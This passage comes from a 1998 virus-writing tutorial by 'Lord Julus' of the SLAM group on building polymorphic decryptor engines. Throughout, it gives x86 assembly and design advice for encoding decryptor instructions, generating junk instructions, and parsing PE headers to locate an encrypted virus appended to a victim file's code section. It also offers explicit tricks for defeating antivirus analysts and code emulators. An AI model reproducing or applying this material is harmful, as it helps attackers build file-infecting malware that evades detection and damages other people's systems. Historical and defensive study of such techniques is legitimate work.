        cmp ecx, 2
        je ins2
        ...
        jmp over

 ins1: ...
       jmp over
 ins2: ...
       jmp over
       ...
 over:
       ret

       You  understood  that  ecx  was  the  counter.  So if we must generate
 instruction  nr.3  we  jump  to ins3. Not it is very easy for you to fill in
 each  instruction,  and  that's  because  you  know  exactly  what  kind  of
 instruction  that  is  and  where you have to fill. Let us imagine that your
 third instruction looks like this as it's declared:

        mov ebx, 0

        and you must turn it into:

        mov kreg, keyvalue

        knowing that your kreg is EDX and the key value is 12345678h.

        The opcode for MOV EBX, 0         is: BBh 00h 00h 00h 00h
        The opcode for MOV EDX, 12345678h is: BAh 78h 56h 34h 12h

        The  REG field is on the last three bits of the opcode (read part I),
 so, first we clear it (ESI points to the instruction start):

                and byte ptr [esi], 00000111b

        and after that we fill the proper register:

                or byte ptr [esi], kreg

        And now we fill the value for the key:

                or dword ptr [esi+1], keyvalue

        DONE!  We  have our polymorphic instruction. All we have to do now is
 to copy it to the destination using lodsb/stosb or any other method.

        When  writing  a  poly  engine  I  recomend that you firstly write it
 without  any  kind  of  garbage  involved. Once you managed to generate your
 decryptor  and  it  works  ok,  then  you  procede  in  writing  the garbage
 generator.

        As for your help, here is the general decryptor used by MOF32:

       decryptor:
       i01:  mov ebx, 0                  ; mov preg, code_start
             db 0feh                     ;
       i02:  mov ebx, 0                  ; mov kreg, key
             db 0feh                     ;
       i03:  mov ebx, 0                  ; mov lreg, code_length/8
             db 0feh                     ;
       i04:  mov ebx, dword ptr [ebx]    ; mov creg, [preg] (mainloop)
             db 0feh                     ;
       i05:  add ebx, ecx                ; <op1> creg, kreg
             db 0feh                     ;
       i06:  ror ebx, 0                  ; <op2> creg, key2
             db 0feh                     ;
       i07:  add ebx, dword ptr [ebx+4]  ; <op3> creg, [preg+4]
             db 0feh                     ;
       i08:  mov dword ptr [ebx], ebx    ; mov [preg], creg
             db 0feh                     ;
       i09:  add ebx, keyvalue           ; <op4> kreg, keyvalue
             db 0feh                     ;
       i10:  add ebx, 4                  ; add ebx, 4
             db 0feh                     ;
       i11:  sub ebx, 1                  ; sub lreg, 1
             db 0feh                     ;
       i12:  jnz $                       ; jnz mainloop
             db 0feh, 0ffh               ;


        I  hope this is all clear as we are moving towards the real armour of
 the poly decryptor: the garbage...


<----------------------------------------------------------- Garbage generator


        As  I  explained in the poly engine figure, the garbage  generator is
 called before generating the first real instruction and then after each real
 instruction. Here are the main types of instructions that the garbage should
 include:

        - <math op> jreg, <reg>/<mem>/<imm>
        - <logical op> jreg, <reg>/<mem>/<imm>
        - <test op> jreg, <reg>/<mem>/<imm>
        - <shift op>
        - jmps and conditional jumps
        - calls
        - unary operations (inc,dec,...)
        - pushad/popad
        - FPU instructions
        - priviledged instructions (smsw, sidt, etc...)

        Note: between a pushad and a popad any register may be destroyed...

        Ok,  now  we  called  the  garbgage  routine.  Firstly, how many junk
 instruction  are we going to create? Here is a question of philosophy. In my
 opinion,  as  to  be  an easy customizable, upgradable polymorphic engine, I
 propose to you to create as many junk instructions as the decryptor has real
 instructions.  So,  if  your  decryptor has 10 real instructions, you should
 create  at least 10 junk instructions between them. I want you to understand
 that  when  I say junk instruction, I also mean groups of instructions, like
 for  example:  pushad/mov  eax,  ebx/popad...  When  generating  the garbage
 instructions  you  will  have  a loop decreasing a counter towards 0. If you
 create  more than one instruction once (for example a call/jump combination)
 you  should  decrease  the  counter  by  two,  otherwise  you  will  get too
 many garbage instructions.

        Anyway, in my opinion, the garbage generator should look like this:

     .-----------------.
     | Garbage routine |
     '-----------------'
       |
  .----+------------------------------------------------------------------.
  | .--v------------------------------------------.                       |
  | |  Choose random number of junk instructions  |                       |
  | '---------------------------------------------'                       |
  |    |                                                                  |
  | .--v-----------------------.                                          |
  | | Garbage generator loop   |                                          |
  | '-^------------------------'                                          |
  |   |          |                                                        |
  |   |       .--v--------------------------------. .-------------------. |
  |   |       | Choose random garbage type        |-> Choose addressing | |
  |   |       '--+-+-+-+-+-+----------------------' '----------+-+-+----' |
  |   |          | | | | | |                                   | | |      |
  |   |          | | | | | '--> Type 1 ---->-<------ mem2reg <-' | |      |
  |   |          | | | | '----> Type 2 ---->|<------ reg2reg <---' |      |
  |   |          | | | '------> Type 3 ---->|<------ etc...  <-----'      |
  |   |          | | '--------> Type 4 ---->|                             |
  |   |          | '----------> Type 5 ---->|                             |
  |   |          '------------> Type 6 ---->|                             |
  |   |                                     |                             |
  |   |       .-----------------------------v---------------------------. |
  |   |       |  Generate the garbage instruction(s)                    | |
  |   |       '---------------------------------------------------------' |
  |   |          |                                                        |
  |   |       .--v------------------------------------------------------. |
  |   |       |  Save addresses if needed                               | |
  |   |       '---------------------------------------------------------' |
  |   |          |                                                        |
  | .------------v-------------.                                          |
  | | Decr. counter until 0    |                                          |
  | '--------------------------'                                          |
  '----+------------------------------------------------------------------'
     .-v--------------------.
     | Garbage routine exit |
     '----------------------'


        Let's take them piece by piece...
        I  already  spoke  about the garbage instructions number, but you may
 have  your own opinion on this, so I won't push it too much... My MOF32 uses
 a random number of junk instructions (4-15).

        Your  poly  engine  must  have  a  very  well  defined  set  of  junk
 instructions type. Let me give you an example:

        1 - mathematical operations
        2 - logical instructions
        3 - unary instructions
        4 - jump
        5 - call
        6 - back call
        7 - pushad/popad
        etc...

        You will need to have a little routine for handling each of these.

        When choosing the addressing type you must choose:

        1 - operand size (16 or 32 bit)
        2 - address size (16 or 32 bit)

        Knowing  these, you know which addressing table to use (check out the
 addressing  tables  in the first part). After locating the table, you choose
 the real addressing type (whether you have register to register, or register
 to  memory, and here whether you have index or not, displacement or not; all
 choices  must  be  done randomly)... After the choice was done, you have the
 Mod/RM  byte,  the  SIB  byte  and  eventualy  the immediate value. Also you
 may  have  operand  and address size prefixes if needed. After this you must
 turn towards the Opcode Map array...

        Here again you can choose to use the entire Intel(c) 386 table or you
 can  only  define  a few opcodes. For a best poly engine I think it's better
 to  use the entire table. To do that you need to have a few indexes defined.
 Let's see how:

     type1:
        row1, col1, len
        row2, col2, len
        ...
     type2:
        row1, col1, len
        roe2, col2, len
        ...

     For  example,  you  have the type one as being the math operations (add,
 sub).  You  define  the  row and column of the add instruction first and how
 many  cells  it  occupies  (check  the  opcode table). Your poly engine will
 choose a random set of row/col and a random place on that row... After this,
 you  must  make  the  corections.  The corrections imply choosing the corect
 memory  to  register opcode, instead of register to memory, or the immediate
 to register opcode.

        Here, eachone must make his own way of encoding the opcodes, as smart
 as possible.

        After  having the opcode, all you have to do is put the prefixes, the
 opcode,  the  Mod/Rm and SIB bytes and the immediate value one after another
 and store the instruction... There you are! You have a garbage instruction!

        Let  me explain something else: you need to have a specific procedure
 which  generates  ONE random garbag instruction. That's because, for example
 when creating a PUSHAD/POPAD structure, you must generate more junks between
 the push and pop.

        I  my  first polymorphism tutorial I explained how you can make the 2
 types  of calls combined with a jump. When creating the call I explained how
 you  must save the adress where the call will be done so that you can encode
 the  call. Well, a great thing is the back-call, as I call it... A back-call
 has the ability of increasing the number of runned instructions. A back-call
 looks like this:

                 jmp do_call
        Routine:
                 ...
                 ret
                 ...
                 jmp over_call
                 ...
        do_call: call Routine
                 ...
        over_call:
                 ...
                 call Routine
                 ...
                 call Routine

        I  guess  you  understood...  You create a call/jmp structure and you
 save the address of the call. Then you may generate no matter how many calls
 to  that  routine,  as  the  RET  will return the execution accordingly. You
 should beware however so that you don't make an infinite loop...

        For  the  FPU  instructions,  it is very easy to handle them (read my
 Anti-Debugging  and Anti-Emulator lair), but all you have to do is take care
 to reset the FPU from time to time...


                              .----------------.
------------------------------|   EXTRA PART   |------------------------------
                              '----------------'

------------------------------[ turning  32bit ]------------------------------


        I  promised  that  I  will  talk  a  little about the 32 bit specific
 thingies.

        As  I  explained  many  times,  I  think that a polymorphic decryptor
 should  have  everyting  coming  handy.  When  I  say  that  I mean that the
 polymorphic engine MUST correctly compute any value and address and fill the
 instructions  properly  with  them. One of the most important instruction is
 this:

        mov preg, code_start

        This  instruction  loads  the  pointer register with the address from
 where  the  decryptor starts to do it's job. It is necesary that this is the
 final  correct  address (meaning you mustn't use any kind of EBP+ or anyshit
 like this which attracts the eye).

        If  you  read  some  infos on the PE file you know that you have some
 important  areas  in  the  PE  header  and  also you know that among all the
 sections of the PE file there exist one which is called .CODE or .TEXT which
 contains  the executable code. Here is where usually a virus appends (others
 create a new section). The encrypted virus is to be found, let's say, at the
 end  of the .CODE section. Let's see what the poly engine must retrieve from
 the PE file in order to properly align itself:

      Notes: newmapaddress = an address where the opened victim file is
                             mapped.

      First we must locate the PE header:

      mov edi, dword ptr [newmapaddress]        ;
      add edi, 03ch                             ; locate the PE header
      mov esi, dword ptr [edi]                  ; address
      add esi, dword ptr [newmapaddress]        ;
      push esi                                  ; save it

      ESI holds the address of the PE header; now we lcoate the initial entry
 point:

      add esi, 028h                             ; locate EIP
      mov ebx, [esi]                            ; put it in EBX
      mov dword ptr [eip], ebx                  ; save it in EIP variable

      Now  we  must  locate  the imagebase (the address where the victim file
 loads in memory when it is executing):

      add esi, 0Ch                              ; locate imagebase
      add ebx, [esi]                            ; add it it EBX
      mov dword ptr [deltahandle], ebx          ; and save for alignment
      pop esi                                   ; restore PE address

      Now  we  must locate the address of the .CODE section. Here I will give
 the   simplest  and the less safe way; for better results you need to make a
 search routine for the .code section:

      add esi, 10Ch                             ; locate the pointer to raw
                                                ; data for the .code section.
      mov edi, dword ptr [esi]                  ; address
      mov esi, dword ptr [esi-4]                ; size of raw data
      add edi, esi                              ; point to end of code
      sub edi, virus_size                       ; go back to virus start

      In  this  way you have the EDI pointing to a relative address where the
 encrypted  virus  part starts. When the file loads into memory, it is mapped
 starting from the imagebase, which means that if you do:

      add edi, deltahandle

      You  have  EDI  holding  the exact address of the encrypted part of the
 virus  upon  the execution of the victim file. This means that you must fill
 the code_start with the value in EDI. In this way, when the decryptor starts
 it'll  need no more alignment as the PREG will point exactly to the start of
 the code to be decrypted... Neat, huh?

        Another important thing: to have a well guarded engine, do not bother
 to  make  the entry point at the beginning of your virus and there to have a
 delta_handle  getter  and a jump to the decryptor. Instead, make the new EIP
 to  point  directly to the poly decryptor as you need no Delta handle in it.
 You will get the delta handle in the virus beginning after it is decrypted.

        Another  good  idea  is  this: the .code section, or whatever section
 your  virus  lives  in,  has  a raw size different, smaller than the virtual
 size.  This means that after the virus body you have an empty space... Rings
 any  bells?  Usualy  the poly engines have junk instructions that affect the
 registers,  but  only  the  real  instructions  of  the decryptor affect the
 memory,  by writing to it. This gives the AV dude an easy way of finding the
 decryptor's instructions... However, upon creating the polymorphic decryptor
 you can do something like this:

 calculate the absolute end of the virus = .code section relative address +
                                           virus size +
                                           imagebase

        Save  the value as a 'freemem' variable. Save another variable called
 'freelength'  which  equals  the  virtual  size minus freemem. Now, when you
 create a junk instruction, you can do this:

        - decide to make a register to memory instruction
        - generate a random number N between freemem and freemem+freelength
        - generate a MOV [N], reg

        There  you are!! You have a junk instruction that writes to memory...
 As many as you have the better. You can also make something like this:

        mov jreg1, N
        ...
        mov [jreg1], reg

        Now  this last instruction looks exactly like the real instruction of
 the  decryptor that reads MOV [preg], creg... Which brings chaos in the mind
 of the one who wants to understand de decryptor...

        Another  thing  about  the  win32  is  that  you  can use priviledged
 instructions like smsw which are not emulated by any code emulator for now.


-------------------------------[  final word  ]-------------------------------


        Here ends another tutorial. I hope this one was and will be useful to
 you. If you find it useful you may drop me a line at:

                           lordjulus@geocities.com

        I  always answer the mail, and I always respect the opinions of other
 people. So, don't be shy and write me your impressions...

        Hoping I did help you a little, I invite you to visit me on the WEB:

                     http://members.tripod.com/~lordjulus
                    http://members.xoom.com/Julus [MIRROR]

.----------------------------------------------------------------------------.
|     LORD JULUS (c) 1998 [SLAM] | http://members.tripod.com/~lordjulus      |
'----------------------------------------------------------------------------'